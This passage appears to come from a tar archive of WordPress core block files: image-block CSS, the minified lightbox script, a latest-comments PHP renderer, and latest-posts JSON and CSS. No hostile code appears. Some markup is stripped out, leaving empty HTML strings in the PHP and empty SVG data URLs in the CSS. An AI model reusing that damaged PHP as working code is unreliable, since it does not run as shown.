margin:0 0 1em; }blocks/image/editor-rtl.css000064400000005762151202620300011703 0ustar00.wp-block-image.wp-block-image.is-selected .components-placeholder{ background-color:#fff; border:none; border-radius:2px; box-shadow:inset 0 0 0 1px #1e1e1e; color:#1e1e1e; filter:none !important; } .wp-block-image.wp-block-image.is-selected .components-placeholder>svg{ opacity:0; } .wp-block-image.wp-block-image.is-selected .components-placeholder .components-placeholder__illustration{ display:none; } .wp-block-image.wp-block-image.is-selected .components-placeholder:before{ opacity:0; } .wp-block-image.wp-block-image .components-button,.wp-block-image.wp-block-image .components-placeholder__instructions,.wp-block-image.wp-block-image .components-placeholder__label{ transition:none; } figure.wp-block-image:not(.wp-block){ margin:0; } .wp-block-image{ position:relative; } .wp-block-image .is-applying img,.wp-block-image.is-transient img{ opacity:.3; } .wp-block-image figcaption img{ display:inline; } .wp-block-image .components-spinner{ position:absolute; right:50%; top:50%; transform:translate(50%, -50%); } .wp-block-image .components-resizable-box__container{ display:table; } .wp-block-image .components-resizable-box__container img{ display:block; height:inherit; width:inherit; } .block-editor-block-list__block[data-type="core/image"] .block-editor-block-toolbar .block-editor-url-input__button-modal{ left:0; margin:-1px 0; position:absolute; right:0; } @media (min-width:600px){ .block-editor-block-list__block[data-type="core/image"] .block-editor-block-toolbar .block-editor-url-input__button-modal{ margin:-1px; } } [data-align=full]>.wp-block-image img,[data-align=wide]>.wp-block-image img{ height:auto; width:100%; } .wp-block[data-align=center]>.wp-block-image,.wp-block[data-align=left]>.wp-block-image,.wp-block[data-align=right]>.wp-block-image{ display:table; } .wp-block[data-align=center]>.wp-block-image>figcaption,.wp-block[data-align=left]>.wp-block-image>figcaption,.wp-block[data-align=right]>.wp-block-image>figcaption{ caption-side:bottom; display:table-caption; } .wp-block[data-align=left]>.wp-block-image{ margin:.5em 0 .5em 1em; } .wp-block[data-align=right]>.wp-block-image{ margin:.5em 1em .5em 0; } .wp-block[data-align=center]>.wp-block-image{ margin-left:auto; margin-right:auto; text-align:center; } .wp-block-image__crop-area{ max-width:100%; overflow:hidden; position:relative; width:100%; } .wp-block-image__crop-area .reactEasyCrop_Container .reactEasyCrop_Image{ border:none; border-radius:0; } .wp-block-image__crop-icon{ align-items:center; display:flex; justify-content:center; min-width:48px; padding:0 8px; } .wp-block-image__crop-icon svg{ fill:currentColor; } .wp-block-image__zoom .components-popover__content{ min-width:260px; overflow:visible !important; } .wp-block-image__aspect-ratio{ align-items:center; display:flex; height:46px; margin-bottom:-8px; } .wp-block-image__aspect-ratio .components-button{ padding-left:0; padding-right:0; width:36px; }blocks/image/view.asset.php000064400000000124151202620300011670 0ustar00 array(), 'version' => '749bd8d7dd37390bdeea'); blocks/image/editor-rtl.min.css000064400000005334151202620300012460 0ustar00.wp-block-image.wp-block-image.is-selected .components-placeholder{background-color:#fff;border:none;border-radius:2px;box-shadow:inset 0 0 0 1px #1e1e1e;color:#1e1e1e;filter:none!important}.wp-block-image.wp-block-image.is-selected .components-placeholder>svg{opacity:0}.wp-block-image.wp-block-image.is-selected .components-placeholder .components-placeholder__illustration{display:none}.wp-block-image.wp-block-image.is-selected .components-placeholder:before{opacity:0}.wp-block-image.wp-block-image .components-button,.wp-block-image.wp-block-image .components-placeholder__instructions,.wp-block-image.wp-block-image .components-placeholder__label{transition:none}figure.wp-block-image:not(.wp-block){margin:0}.wp-block-image{position:relative}.wp-block-image .is-applying img,.wp-block-image.is-transient img{opacity:.3}.wp-block-image figcaption img{display:inline}.wp-block-image .components-spinner{position:absolute;right:50%;top:50%;transform:translate(50%,-50%)}.wp-block-image .components-resizable-box__container{display:table}.wp-block-image .components-resizable-box__container img{display:block;height:inherit;width:inherit}.block-editor-block-list__block[data-type="core/image"] .block-editor-block-toolbar .block-editor-url-input__button-modal{left:0;margin:-1px 0;position:absolute;right:0}@media (min-width:600px){.block-editor-block-list__block[data-type="core/image"] .block-editor-block-toolbar .block-editor-url-input__button-modal{margin:-1px}}[data-align=full]>.wp-block-image img,[data-align=wide]>.wp-block-image img{height:auto;width:100%}.wp-block[data-align=center]>.wp-block-image,.wp-block[data-align=left]>.wp-block-image,.wp-block[data-align=right]>.wp-block-image{display:table}.wp-block[data-align=center]>.wp-block-image>figcaption,.wp-block[data-align=left]>.wp-block-image>figcaption,.wp-block[data-align=right]>.wp-block-image>figcaption{caption-side:bottom;display:table-caption}.wp-block[data-align=left]>.wp-block-image{margin:.5em 0 .5em 1em}.wp-block[data-align=right]>.wp-block-image{margin:.5em 1em .5em 0}.wp-block[data-align=center]>.wp-block-image{margin-left:auto;margin-right:auto;text-align:center}.wp-block-image__crop-area{max-width:100%;overflow:hidden;position:relative;width:100%}.wp-block-image__crop-area .reactEasyCrop_Container .reactEasyCrop_Image{border:none;border-radius:0}.wp-block-image__crop-icon{align-items:center;display:flex;justify-content:center;min-width:48px;padding:0 8px}.wp-block-image__crop-icon svg{fill:currentColor}.wp-block-image__zoom .components-popover__content{min-width:260px;overflow:visible!important}.wp-block-image__aspect-ratio{align-items:center;display:flex;height:46px;margin-bottom:-8px}.wp-block-image__aspect-ratio .components-button{padding-left:0;padding-right:0;width:36px}blocks/image/view.min.js000064400000013043151202620300011165 0ustar00"use strict";(self.__WordPressPrivateInteractivityAPI__=self.__WordPressPrivateInteractivityAPI__||[]).push([[354],{699:function(e,t,i){var o=i(754);const n=["a[href]","area[href]",'input:not([disabled]):not([type="hidden"]):not([aria-hidden])',"select:not([disabled]):not([aria-hidden])","textarea:not([disabled]):not([aria-hidden])","button:not([disabled]):not([aria-hidden])","iframe","object","embed","[contenteditable]",'[tabindex]:not([tabindex^="-"])'];let a,r=!1,c=0;function l(e){!r&&Date.now()-c>450&&window.scrollTo(e.core.image.scrollLeftReset,e.core.image.scrollTopReset)}function g(e,t){let{naturalWidth:i,naturalHeight:o,offsetWidth:n,offsetHeight:a}=t,{x:r,y:c}=t.getBoundingClientRect();const l=i/o;let g=n/a;if("contain"===e.core.image.scaleAttr)if(l>g){const e=n/l;c+=(a-e)/2,a=e}else{const e=a*l;r+=(n-e)/2,n=e}g=n/a;let d=parseFloat("none"!==e.core.image.targetWidth?e.core.image.targetWidth:i),m=parseFloat("none"!==e.core.image.targetHeight?e.core.image.targetHeight:o),s=d/m,h=d,u=m,f=d,w=m;if(l.toFixed(2)!==s.toFixed(2)){if(l>s){const e=d/l;m-e>d?(m=e,d=e*l):m=d/l}else{const e=m*l;d-e>m?(d=e,m=e/l):d=m*l}f=d,w=m,s=d/m,g>s?(h=d,u=h/g):(u=m,h=u*g)}(n>f||a>w)&&(f=n,w=a);let b=0;window.innerWidth>480?b=80:window.innerWidth>1920&&(b=160);const x=Math.min(window.innerWidth-b,f),p=Math.min(window.innerHeight-80,w);g>x/p?(f=x,w=f/g):(w=p,f=w*g);const E=n/f,y=d*(f/h),v=m*(w/u);let A=document.getElementById("wp-lightbox-styles");A||(A=document.createElement("style"),A.id="wp-lightbox-styles",document.head.appendChild(A)),A.innerHTML=`\n\t\t:root {\n\t\t\t--wp--lightbox-initial-top-position: ${c}px;\n\t\t\t--wp--lightbox-initial-left-position: ${r}px;\n\t\t\t--wp--lightbox-container-width: ${f+1}px;\n\t\t\t--wp--lightbox-container-height: ${w+1}px;\n\t\t\t--wp--lightbox-image-width: ${y}px;\n\t\t\t--wp--lightbox-image-height: ${v}px;\n\t\t\t--wp--lightbox-scale: ${E};\n\t\t}\n\t`}(0,o.h)({state:{core:{image:{windowWidth:window.innerWidth,windowHeight:window.innerHeight}}},actions:{core:{image:{showLightbox:({context:e,event:t})=>{e.core.image.imageLoaded&&(e.core.image.initialized=!0,e.core.image.lastFocusedElement=window.document.activeElement,e.core.image.scrollDelta=0,e.core.image.pointerType=t.pointerType,e.core.image.lightboxEnabled=!0,g(e,e.core.image.imageRef),e.core.image.scrollTopReset=window.pageYOffset||document.documentElement.scrollTop,e.core.image.scrollLeftReset=window.pageXOffset||document.documentElement.scrollLeft,a=l.bind(null,e),window.addEventListener("scroll",a,!1))},hideLightbox:async({context:e})=>{e.core.image.hideAnimationEnabled=!0,e.core.image.lightboxEnabled&&(setTimeout((function(){window.removeEventListener("scroll",a),e.core.image.lightboxTriggerRef.focus({preventScroll:!0})}),450),e.core.image.lightboxEnabled=!1)},handleKeydown:({context:e,actions:t,event:i})=>{e.core.image.lightboxEnabled&&("Tab"!==i.key&&9!==i.keyCode||(i.shiftKey&&window.document.activeElement===e.core.image.firstFocusableElement?(i.preventDefault(),e.core.image.lastFocusableElement.focus()):i.shiftKey||window.document.activeElement!==e.core.image.lastFocusableElement||(i.preventDefault(),e.core.image.firstFocusableElement.focus())),"Escape"!==i.key&&27!==i.keyCode||t.core.image.hideLightbox({context:e,event:i}))},handleLoad:({context:e,effects:t,ref:i})=>{e.core.image.imageLoaded=!0,e.core.image.imageCurrentSrc=i.currentSrc,t.core.image.setButtonStyles({context:e,ref:i})},handleTouchStart:()=>{r=!0},handleTouchMove:({context:e,event:t})=>{e.core.image.lightboxEnabled&&t.preventDefault()},handleTouchEnd:()=>{c=Date.now(),r=!1}}}},selectors:{core:{image:{roleAttribute:({context:e})=>e.core.image.lightboxEnabled?"dialog":null,ariaModal:({context:e})=>e.core.image.lightboxEnabled?"true":null,dialogLabel:({context:e})=>e.core.image.lightboxEnabled?e.core.image.dialogLabel:null,lightboxObjectFit:({context:e})=>{if(e.core.image.initialized)return"cover"},enlargedImgSrc:({context:e})=>e.core.image.initialized?e.core.image.imageUploadedSrc:"data:image/gif;base64,R0lGODlhAQABAAD/ACwAAAAAAQABAAACADs="}}},effects:{core:{image:{initOriginImage:({context:e,ref:t})=>{e.core.image.imageRef=t,e.core.image.lightboxTriggerRef=t.parentElement.querySelector(".lightbox-trigger"),t.complete&&(e.core.image.imageLoaded=!0,e.core.image.imageCurrentSrc=t.currentSrc)},initLightbox:async({context:e,ref:t})=>{if(e.core.image.lightboxEnabled){const i=t.querySelectorAll(n);e.core.image.firstFocusableElement=i[0],e.core.image.lastFocusableElement=i[i.length-1],t.focus()}},setButtonStyles:({context:e,ref:t})=>{const{naturalWidth:i,naturalHeight:o,offsetWidth:n,offsetHeight:a}=t;if(0===i||0===o)return;const r=t.parentElement,c=t.parentElement.clientWidth;let l=t.parentElement.clientHeight;const g=r.querySelector("figcaption");if(g){const e=window.getComputedStyle(g);l=l-g.offsetHeight-parseFloat(e.marginTop)-parseFloat(e.marginBottom)}const d=l-a,m=c-n;if("contain"===e.core.image.scaleAttr){const t=i/o;if(t>=n/a){const i=n/t;e.core.image.imageButtonTop=(a-i)/2+d+16,e.core.image.imageButtonRight=m+16}else{const i=a*t;e.core.image.imageButtonTop=d+16,e.core.image.imageButtonRight=(n-i)/2+m+16}}else e.core.image.imageButtonTop=d+16,e.core.image.imageButtonRight=m+16},setStylesOnResize:({state:e,context:t,ref:i})=>{t.core.image.lightboxEnabled&&(e.core.image.windowWidth||e.core.image.windowHeight)&&g(t,i)}}}}},{afterLoad:({state:e})=>{window.addEventListener("resize",function(e,t=50){let i;return()=>{const o=()=>{i=null,e()};clearTimeout(i),i=setTimeout(o,t)}}((()=>{e.core.image.windowWidth=window.innerWidth,e.core.image.windowHeight=window.innerHeight})))}})}},function(e){var t;t=699,e(e.s=t)}]);blocks/image/style-rtl.css000064400000017265151202620300011556 0ustar00.wp-block-image img{ box-sizing:border-box; height:auto; max-width:100%; vertical-align:bottom; } .wp-block-image[style*=border-radius] img,.wp-block-image[style*=border-radius]>a{ border-radius:inherit; } .wp-block-image.has-custom-border img{ box-sizing:border-box; } .wp-block-image.aligncenter{ text-align:center; } .wp-block-image.alignfull img,.wp-block-image.alignwide img{ height:auto; width:100%; } .wp-block-image .aligncenter,.wp-block-image .alignleft,.wp-block-image .alignright,.wp-block-image.aligncenter,.wp-block-image.alignleft,.wp-block-image.alignright{ display:table; } .wp-block-image .aligncenter>figcaption,.wp-block-image .alignleft>figcaption,.wp-block-image .alignright>figcaption,.wp-block-image.aligncenter>figcaption,.wp-block-image.alignleft>figcaption,.wp-block-image.alignright>figcaption{ caption-side:bottom; display:table-caption; } .wp-block-image .alignleft{ float:left; margin:.5em 1em .5em 0; } .wp-block-image .alignright{ float:right; margin:.5em 0 .5em 1em; } .wp-block-image .aligncenter{ margin-left:auto; margin-right:auto; } .wp-block-image figcaption{ margin-bottom:1em; margin-top:.5em; } .wp-block-image .is-style-rounded img,.wp-block-image.is-style-circle-mask img,.wp-block-image.is-style-rounded img{ border-radius:9999px; } @supports ((-webkit-mask-image:none) or (mask-image:none)) or (-webkit-mask-image:none){ .wp-block-image.is-style-circle-mask img{ border-radius:0; -webkit-mask-image:url('data:image/svg+xml;utf8,'); mask-image:url('data:image/svg+xml;utf8,'); mask-mode:alpha; -webkit-mask-position:center; mask-position:center; -webkit-mask-repeat:no-repeat; mask-repeat:no-repeat; -webkit-mask-size:contain; mask-size:contain; } } .wp-block-image :where(.has-border-color){ border-style:solid; } .wp-block-image :where([style*=border-top-color]){ border-top-style:solid; } .wp-block-image :where([style*=border-right-color]){ border-left-style:solid; } .wp-block-image :where([style*=border-bottom-color]){ border-bottom-style:solid; } .wp-block-image :where([style*=border-left-color]){ border-right-style:solid; } .wp-block-image :where([style*=border-width]){ border-style:solid; } .wp-block-image :where([style*=border-top-width]){ border-top-style:solid; } .wp-block-image :where([style*=border-right-width]){ border-left-style:solid; } .wp-block-image :where([style*=border-bottom-width]){ border-bottom-style:solid; } .wp-block-image :where([style*=border-left-width]){ border-right-style:solid; } .wp-block-image figure{ margin:0; } .wp-lightbox-container{ display:flex; flex-direction:column; position:relative; } .wp-lightbox-container img{ cursor:zoom-in; } .wp-lightbox-container img:hover+button{ opacity:1; } .wp-lightbox-container button{ align-items:center; -webkit-backdrop-filter:blur(16px) saturate(180%); backdrop-filter:blur(16px) saturate(180%); background-color:rgba(90,90,90,.25); border:none; border-radius:4px; cursor:zoom-in; display:flex; height:20px; justify-content:center; left:16px; opacity:0; padding:0; position:absolute; text-align:center; top:16px; transition:opacity .2s ease; width:20px; z-index:100; } .wp-lightbox-container button:focus-visible{ outline:3px auto rgba(90,90,90,.25); outline:3px auto -webkit-focus-ring-color; outline-offset:3px; } .wp-lightbox-container button:hover{ cursor:pointer; opacity:1; } .wp-lightbox-container button:focus{ opacity:1; } .wp-lightbox-container button:focus,.wp-lightbox-container button:hover,.wp-lightbox-container button:not(:hover):not(:active):not(.has-background){ background-color:rgba(90,90,90,.25); border:none; } .wp-lightbox-overlay{ box-sizing:border-box; cursor:zoom-out; height:100vh; overflow:hidden; position:fixed; right:0; top:0; visibility:hidden; width:100vw; z-index:100000; } .wp-lightbox-overlay .close-button{ align-items:center; cursor:pointer; display:flex; justify-content:center; left:calc(env(safe-area-inset-left) + 16px); min-height:40px; min-width:40px; padding:0; position:absolute; top:calc(env(safe-area-inset-top) + 16px); z-index:5000000; } .wp-lightbox-overlay .close-button:focus,.wp-lightbox-overlay .close-button:hover,.wp-lightbox-overlay .close-button:not(:hover):not(:active):not(.has-background){ background:none; border:none; } .wp-lightbox-overlay .lightbox-image-container{ height:var(--wp--lightbox-container-height); overflow:hidden; position:absolute; right:50%; top:50%; transform:translate(50%, -50%); transform-origin:top right; width:var(--wp--lightbox-container-width); z-index:9999999999; } .wp-lightbox-overlay .wp-block-image{ align-items:center; box-sizing:border-box; display:flex; height:100%; justify-content:center; margin:0; position:relative; transform-origin:100% 0; width:100%; z-index:3000000; } .wp-lightbox-overlay .wp-block-image img{ height:var(--wp--lightbox-image-height); min-height:var(--wp--lightbox-image-height); min-width:var(--wp--lightbox-image-width); width:var(--wp--lightbox-image-width); } .wp-lightbox-overlay .wp-block-image figcaption{ display:none; } .wp-lightbox-overlay button{ background:none; border:none; } .wp-lightbox-overlay .scrim{ background-color:#fff; height:100%; opacity:.9; position:absolute; width:100%; z-index:2000000; } .wp-lightbox-overlay.active{ animation:turn-on-visibility .25s both; visibility:visible; } .wp-lightbox-overlay.active img{ animation:turn-on-visibility .35s both; } .wp-lightbox-overlay.hideanimationenabled:not(.active){ animation:turn-off-visibility .35s both; } .wp-lightbox-overlay.hideanimationenabled:not(.active) img{ animation:turn-off-visibility .25s both; } @media (prefers-reduced-motion:no-preference){ .wp-lightbox-overlay.zoom.active{ animation:none; opacity:1; visibility:visible; } .wp-lightbox-overlay.zoom.active .lightbox-image-container{ animation:lightbox-zoom-in .4s; } .wp-lightbox-overlay.zoom.active .lightbox-image-container img{ animation:none; } .wp-lightbox-overlay.zoom.active .scrim{ animation:turn-on-visibility .4s forwards; } .wp-lightbox-overlay.zoom.hideanimationenabled:not(.active){ animation:none; } .wp-lightbox-overlay.zoom.hideanimationenabled:not(.active) .lightbox-image-container{ animation:lightbox-zoom-out .4s; } .wp-lightbox-overlay.zoom.hideanimationenabled:not(.active) .lightbox-image-container img{ animation:none; } .wp-lightbox-overlay.zoom.hideanimationenabled:not(.active) .scrim{ animation:turn-off-visibility .4s forwards; } } @keyframes turn-on-visibility{ 0%{ opacity:0; } to{ opacity:1; } } @keyframes turn-off-visibility{ 0%{ opacity:1; visibility:visible; } 99%{ opacity:0; visibility:visible; } to{ opacity:0; visibility:hidden; } } @keyframes lightbox-zoom-in{ 0%{ transform:translate(calc((-50vw + var(--wp--lightbox-initial-left-position))*-1), calc(-50vh + var(--wp--lightbox-initial-top-position))) scale(var(--wp--lightbox-scale)); } to{ transform:translate(50%, -50%) scale(1); } } @keyframes lightbox-zoom-out{ 0%{ transform:translate(50%, -50%) scale(1); visibility:visible; } 99%{ visibility:visible; } to{ transform:translate(calc((-50vw + var(--wp--lightbox-initial-left-position))*-1), calc(-50vh + var(--wp--lightbox-initial-top-position))) scale(var(--wp--lightbox-scale)); visibility:hidden; } }blocks/image/style.css000064400000017253151202620300010754 0ustar00.wp-block-image img{ box-sizing:border-box; height:auto; max-width:100%; vertical-align:bottom; } .wp-block-image[style*=border-radius] img,.wp-block-image[style*=border-radius]>a{ border-radius:inherit; } .wp-block-image.has-custom-border img{ box-sizing:border-box; } .wp-block-image.aligncenter{ text-align:center; } .wp-block-image.alignfull img,.wp-block-image.alignwide img{ height:auto; width:100%; } .wp-block-image .aligncenter,.wp-block-image .alignleft,.wp-block-image .alignright,.wp-block-image.aligncenter,.wp-block-image.alignleft,.wp-block-image.alignright{ display:table; } .wp-block-image .aligncenter>figcaption,.wp-block-image .alignleft>figcaption,.wp-block-image .alignright>figcaption,.wp-block-image.aligncenter>figcaption,.wp-block-image.alignleft>figcaption,.wp-block-image.alignright>figcaption{ caption-side:bottom; display:table-caption; } .wp-block-image .alignleft{ float:left; margin:.5em 1em .5em 0; } .wp-block-image .alignright{ float:right; margin:.5em 0 .5em 1em; } .wp-block-image .aligncenter{ margin-left:auto; margin-right:auto; } .wp-block-image figcaption{ margin-bottom:1em; margin-top:.5em; } .wp-block-image .is-style-rounded img,.wp-block-image.is-style-circle-mask img,.wp-block-image.is-style-rounded img{ border-radius:9999px; } @supports ((-webkit-mask-image:none) or (mask-image:none)) or (-webkit-mask-image:none){ .wp-block-image.is-style-circle-mask img{ border-radius:0; -webkit-mask-image:url('data:image/svg+xml;utf8,'); mask-image:url('data:image/svg+xml;utf8,'); mask-mode:alpha; -webkit-mask-position:center; mask-position:center; -webkit-mask-repeat:no-repeat; mask-repeat:no-repeat; -webkit-mask-size:contain; mask-size:contain; } } .wp-block-image :where(.has-border-color){ border-style:solid; } .wp-block-image :where([style*=border-top-color]){ border-top-style:solid; } .wp-block-image :where([style*=border-right-color]){ border-right-style:solid; } .wp-block-image :where([style*=border-bottom-color]){ border-bottom-style:solid; } .wp-block-image :where([style*=border-left-color]){ border-left-style:solid; } .wp-block-image :where([style*=border-width]){ border-style:solid; } .wp-block-image :where([style*=border-top-width]){ border-top-style:solid; } .wp-block-image :where([style*=border-right-width]){ border-right-style:solid; } .wp-block-image :where([style*=border-bottom-width]){ border-bottom-style:solid; } .wp-block-image :where([style*=border-left-width]){ border-left-style:solid; } .wp-block-image figure{ margin:0; } .wp-lightbox-container{ display:flex; flex-direction:column; position:relative; } .wp-lightbox-container img{ cursor:zoom-in; } .wp-lightbox-container img:hover+button{ opacity:1; } .wp-lightbox-container button{ align-items:center; -webkit-backdrop-filter:blur(16px) saturate(180%); backdrop-filter:blur(16px) saturate(180%); background-color:rgba(90,90,90,.25); border:none; border-radius:4px; cursor:zoom-in; display:flex; height:20px; justify-content:center; opacity:0; padding:0; position:absolute; right:16px; text-align:center; top:16px; transition:opacity .2s ease; width:20px; z-index:100; } .wp-lightbox-container button:focus-visible{ outline:3px auto rgba(90,90,90,.25); outline:3px auto -webkit-focus-ring-color; outline-offset:3px; } .wp-lightbox-container button:hover{ cursor:pointer; opacity:1; } .wp-lightbox-container button:focus{ opacity:1; } .wp-lightbox-container button:focus,.wp-lightbox-container button:hover,.wp-lightbox-container button:not(:hover):not(:active):not(.has-background){ background-color:rgba(90,90,90,.25); border:none; } .wp-lightbox-overlay{ box-sizing:border-box; cursor:zoom-out; height:100vh; left:0; overflow:hidden; position:fixed; top:0; visibility:hidden; width:100vw; z-index:100000; } .wp-lightbox-overlay .close-button{ align-items:center; cursor:pointer; display:flex; justify-content:center; min-height:40px; min-width:40px; padding:0; position:absolute; right:calc(env(safe-area-inset-right) + 16px); top:calc(env(safe-area-inset-top) + 16px); z-index:5000000; } .wp-lightbox-overlay .close-button:focus,.wp-lightbox-overlay .close-button:hover,.wp-lightbox-overlay .close-button:not(:hover):not(:active):not(.has-background){ background:none; border:none; } .wp-lightbox-overlay .lightbox-image-container{ height:var(--wp--lightbox-container-height); left:50%; overflow:hidden; position:absolute; top:50%; transform:translate(-50%, -50%); transform-origin:top left; width:var(--wp--lightbox-container-width); z-index:9999999999; } .wp-lightbox-overlay .wp-block-image{ align-items:center; box-sizing:border-box; display:flex; height:100%; justify-content:center; margin:0; position:relative; transform-origin:0 0; width:100%; z-index:3000000; } .wp-lightbox-overlay .wp-block-image img{ height:var(--wp--lightbox-image-height); min-height:var(--wp--lightbox-image-height); min-width:var(--wp--lightbox-image-width); width:var(--wp--lightbox-image-width); } .wp-lightbox-overlay .wp-block-image figcaption{ display:none; } .wp-lightbox-overlay button{ background:none; border:none; } .wp-lightbox-overlay .scrim{ background-color:#fff; height:100%; opacity:.9; position:absolute; width:100%; z-index:2000000; } .wp-lightbox-overlay.active{ animation:turn-on-visibility .25s both; visibility:visible; } .wp-lightbox-overlay.active img{ animation:turn-on-visibility .35s both; } .wp-lightbox-overlay.hideanimationenabled:not(.active){ animation:turn-off-visibility .35s both; } .wp-lightbox-overlay.hideanimationenabled:not(.active) img{ animation:turn-off-visibility .25s both; } @media (prefers-reduced-motion:no-preference){ .wp-lightbox-overlay.zoom.active{ animation:none; opacity:1; visibility:visible; } .wp-lightbox-overlay.zoom.active .lightbox-image-container{ animation:lightbox-zoom-in .4s; } .wp-lightbox-overlay.zoom.active .lightbox-image-container img{ animation:none; } .wp-lightbox-overlay.zoom.active .scrim{ animation:turn-on-visibility .4s forwards; } .wp-lightbox-overlay.zoom.hideanimationenabled:not(.active){ animation:none; } .wp-lightbox-overlay.zoom.hideanimationenabled:not(.active) .lightbox-image-container{ animation:lightbox-zoom-out .4s; } .wp-lightbox-overlay.zoom.hideanimationenabled:not(.active) .lightbox-image-container img{ animation:none; } .wp-lightbox-overlay.zoom.hideanimationenabled:not(.active) .scrim{ animation:turn-off-visibility .4s forwards; } } @keyframes turn-on-visibility{ 0%{ opacity:0; } to{ opacity:1; } } @keyframes turn-off-visibility{ 0%{ opacity:1; visibility:visible; } 99%{ opacity:0; visibility:visible; } to{ opacity:0; visibility:hidden; } } @keyframes lightbox-zoom-in{ 0%{ transform:translate(calc(-50vw + var(--wp--lightbox-initial-left-position)), calc(-50vh + var(--wp--lightbox-initial-top-position))) scale(var(--wp--lightbox-scale)); } to{ transform:translate(-50%, -50%) scale(1); } } @keyframes lightbox-zoom-out{ 0%{ transform:translate(-50%, -50%) scale(1); visibility:visible; } 99%{ visibility:visible; } to{ transform:translate(calc(-50vw + var(--wp--lightbox-initial-left-position)), calc(-50vh + var(--wp--lightbox-initial-top-position))) scale(var(--wp--lightbox-scale)); visibility:hidden; } }blocks/index.php000064400000002773151202620300007641 0ustar00 $attributes['commentsToShow'], 'status' => 'approve', 'post_status' => 'publish', ) ) ); $list_items_markup = ''; if ( ! empty( $comments ) ) { // Prime the cache for associated posts. This is copied from \WP_Widget_Recent_Comments::widget(). $post_ids = array_unique( wp_list_pluck( $comments, 'comment_post_ID' ) ); _prime_post_caches( $post_ids, strpos( get_option( 'permalink_structure' ), '%category%' ), false ); foreach ( $comments as $comment ) { $list_items_markup .= '
  • '; if ( $attributes['displayAvatar'] ) { $avatar = get_avatar( $comment, 48, '', '', array( 'class' => 'wp-block-latest-comments__comment-avatar', ) ); if ( $avatar ) { $list_items_markup .= $avatar; } } $list_items_markup .= '
    '; $list_items_markup .= ''; if ( $attributes['displayExcerpt'] ) { $list_items_markup .= '
    ' . wpautop( get_comment_excerpt( $comment ) ) . '
    '; } $list_items_markup .= '
  • '; } } $classnames = array(); if ( $attributes['displayAvatar'] ) { $classnames[] = 'has-avatars'; } if ( $attributes['displayDate'] ) { $classnames[] = 'has-dates'; } if ( $attributes['displayExcerpt'] ) { $classnames[] = 'has-excerpts'; } if ( empty( $comments ) ) { $classnames[] = 'no-comments'; } $wrapper_attributes = get_block_wrapper_attributes( array( 'class' => implode( ' ', $classnames ) ) ); return ! empty( $comments ) ? sprintf( '
      %2$s
    ', $wrapper_attributes, $list_items_markup ) : sprintf( '
    %2$s
    ', $wrapper_attributes, __( 'No comments to show.' ) ); } /** * Registers the `core/latest-comments` block. */ function register_block_core_latest_comments() { register_block_type_from_metadata( __DIR__ . '/latest-comments', array( 'render_callback' => 'render_block_core_latest_comments', ) ); } add_action( 'init', 'register_block_core_latest_comments' ); blocks/latest-posts/block.json000064400000002751151202620300012444 0ustar00{ "apiVersion": 2, "name": "core/latest-posts", "category": "widgets", "attributes": { "categories": { "type": "array", "items": { "type": "object" } }, "selectedAuthor": { "type": "number" }, "postsToShow": { "type": "number", "default": 5 }, "displayPostContent": { "type": "boolean", "default": false }, "displayPostContentRadio": { "type": "string", "default": "excerpt" }, "excerptLength": { "type": "number", "default": 55 }, "displayAuthor": { "type": "boolean", "default": false }, "displayPostDate": { "type": "boolean", "default": false }, "postLayout": { "type": "string", "default": "list" }, "columns": { "type": "number", "default": 3 }, "order": { "type": "string", "default": "desc" }, "orderBy": { "type": "string", "default": "date" }, "displayFeaturedImage": { "type": "boolean", "default": false }, "featuredImageAlign": { "type": "string", "enum": [ "left", "center", "right" ] }, "featuredImageSizeSlug": { "type": "string", "default": "thumbnail" }, "featuredImageSizeWidth": { "type": "number", "default": null }, "featuredImageSizeHeight": { "type": "number", "default": null }, "addLinkToFeaturedImage": { "type": "boolean", "default": false } }, "supports": { "align": true, "html": false }, "editorStyle": "wp-block-latest-posts-editor", "style": "wp-block-latest-posts" } blocks/latest-posts/editor.min.css000064400000000655151202620300013242 0ustar00.wp-block-latest-posts{padding-left:2.5em}.wp-block-latest-posts.is-grid{padding-left:0}.wp-block-latest-posts>li{overflow:hidden}.wp-block-latest-posts li a>div{display:inline}.edit-post-visual-editor .wp-block-latest-posts.is-grid li{margin-bottom:20px}.editor-latest-posts-image-alignment-control .components-base-control__label{display:block}.editor-latest-posts-image-alignment-control .components-toolbar{border-radius:2px}blocks/latest-posts/style-rtl.min.css000064400000003170151202620300013706 0ustar00.wp-block-latest-posts{box-sizing:border-box}.wp-block-latest-posts.alignleft{margin-right:2em}.wp-block-latest-posts.alignright{margin-left:2em}.wp-block-latest-posts.wp-block-latest-posts__list{list-style:none;padding-right:0}.wp-block-latest-posts.wp-block-latest-posts__list li{clear:both}.wp-block-latest-posts.is-grid{display:flex;flex-wrap:wrap;padding:0}.wp-block-latest-posts.is-grid li{margin:0 0 1.25em 1.25em;width:100%}@media (min-width:600px){.wp-block-latest-posts.columns-2 li{width:calc(50% - .625em)}.wp-block-latest-posts.columns-2 li:nth-child(2n){margin-left:0}.wp-block-latest-posts.columns-3 li{width:calc(33.33333% - .83333em)}.wp-block-latest-posts.columns-3 li:nth-child(3n){margin-left:0}.wp-block-latest-posts.columns-4 li{width:calc(25% - .9375em)}.wp-block-latest-posts.columns-4 li:nth-child(4n){margin-left:0}.wp-block-latest-posts.columns-5 li{width:calc(20% - 1em)}.wp-block-latest-posts.columns-5 li:nth-child(5n){margin-left:0}.wp-block-latest-posts.columns-6 li{width:calc(16.66667% - 1.04167em)}.wp-block-latest-posts.columns-6 li:nth-child(6n){margin-left:0}}.wp-block-latest-posts__post-author,.wp-block-latest-posts__post-date{display:block;font-size:.8125em}.wp-block-latest-posts__post-excerpt{margin-bottom:1em;margin-top:.5em}.wp-block-latest-posts__featured-image a{display:inline-block}.wp-block-latest-posts__featured-image img{height:auto;max-width:100%;width:auto}.wp-block-latest-posts__featured-image.alignleft{float:left;margin-right:1em}.wp-block-latest-posts__featured-image.alignright{float:right;margin-left:1em}.wp-block-latest-posts__featured-image.aligncenter{margin-bottom:1em;text-align:center}blocks/latest-posts/editor.css000064400000000731151202620300012453 0ustar00.wp-block-latest-posts{ padding-left:2.5em; } .wp-block-latest-posts.is-grid{ padding-left:0; } .wp-block-latest-posts>li{ overflow:hidden; } .wp-block-latest-posts li a>div{ display:inline; } .edit-post-visual-editor .wp-block-latest-posts.is-grid li{ margin-bottom:20px; } .editor-latest-posts-image-alignment-control .components-base-control__label{ display:block; } .editor-latest-posts-image-alignment-control .components-toolbar{ border-radius:2px; }blocks/latest-posts/style.min.css000064400000003174151202620300013113 